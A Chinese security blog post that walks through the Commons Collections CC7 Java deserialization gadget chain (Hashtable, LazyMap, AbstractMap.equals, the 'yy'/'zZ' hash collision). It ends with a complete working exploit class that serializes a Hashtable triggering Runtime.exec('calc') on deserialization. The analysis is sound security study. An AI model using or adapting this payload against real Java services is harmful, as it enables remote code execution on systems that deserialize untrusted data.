Java反序列化CC7链

Java反序列化CC7链

总览

image

分析

也是在CC1基础上修改了前半段,和CC6有点相似

CC6后半部分使用的是HashSet,
CC7后半部分使用的是HashTable

Hashtable

跟进一下HashTable的readObject​方法,看到最后用了reconstitutionPut​方法

image

跟进看一下,reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中。

CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞。

image

AbstractMapDecorator

这一步操作e.key.equals()调用了LazyMap的equals方法,但是LazyMap中并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。

image

通过父类AbstractMapDecorator的equals方法我们可以它执行了map.equals,这里我们的map由于我们利用链LazyMap传入的是HashMap所以会跳到HashMap寻找equals方法,而HashMap是没有equals方法的,所以我们跟到它的父类AbstractMap。

image

这里首先先做了三个判断

  1. 判断是否为同一对象
  2. 判断对象的运行类型
  3. 判断Map中元素的个数

当都不满足则进一步判断Map中的元素,也就是判断元素的key和value的内容是否相同,在value不为null的情况下,m会调用get方法获取key的内容,虽然对象o向上转型成Map类型,但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMap的get方法。

注意点

Hashtable.reconstitutionPut()哈希碰撞问题

我们是通过hashCode()去获取hash的,我们跟到这个方法。这里我们的key为LazyMap,而LazyMap没有hashcode()方法,所以我们跟到了父类AbstractMapDecorator.hashcode()。此时的map是我们LazyMap传入的HashMap,而HashMap是没有hashcode()的,所以我们跟到它的父类AbstractMap.hashcode()

下个断点调试一下,发现Node类调用了Objects.hashcode(),我们继续跟进。

image

Node类调用了Objects类的hashCode静态方法计算key和value的hash值,然后再进行异或运算得到一个新的hash值。

image

在这里我们就看到了它的计算规则,通过字符ascii码值进行计算。

这里yso链子里面给的是yy和zZ,其实我们拿计算器是看hash值也确实是一样的。

AbstractMap.equals()个数问题

反序列化 Hashtable 时,Hashtable 会重新对 key 进行 hash()​ 计算;LazyMap 的 hashCode()​ 会导致访问内部 map,从而触发 Transformer。

但如果两个 LazyMap 在构造时内部结构不满足触发条件,反序列化时 不会调到 LazyMap 的 get() 或 put() ,就无法触发链。

所以最后要remove(“yy”)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();

Map lazymap1 = LazyMap.decorate(hashMap1, chainedTransformer);
lazymap1.put("yy", 1);
Map lazymap2 = LazyMap.decorate(hashMap2, chainedTransformer);
lazymap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazymap1,1);
hashtable.put(lazymap2,1);

Class c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);

lazymap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

image


Java反序列化CC7链
http://example.com/post/java-deserialize-cc7-chain-2frr.html
作者
Dre4m
发布于
2025年10月3日
许可协议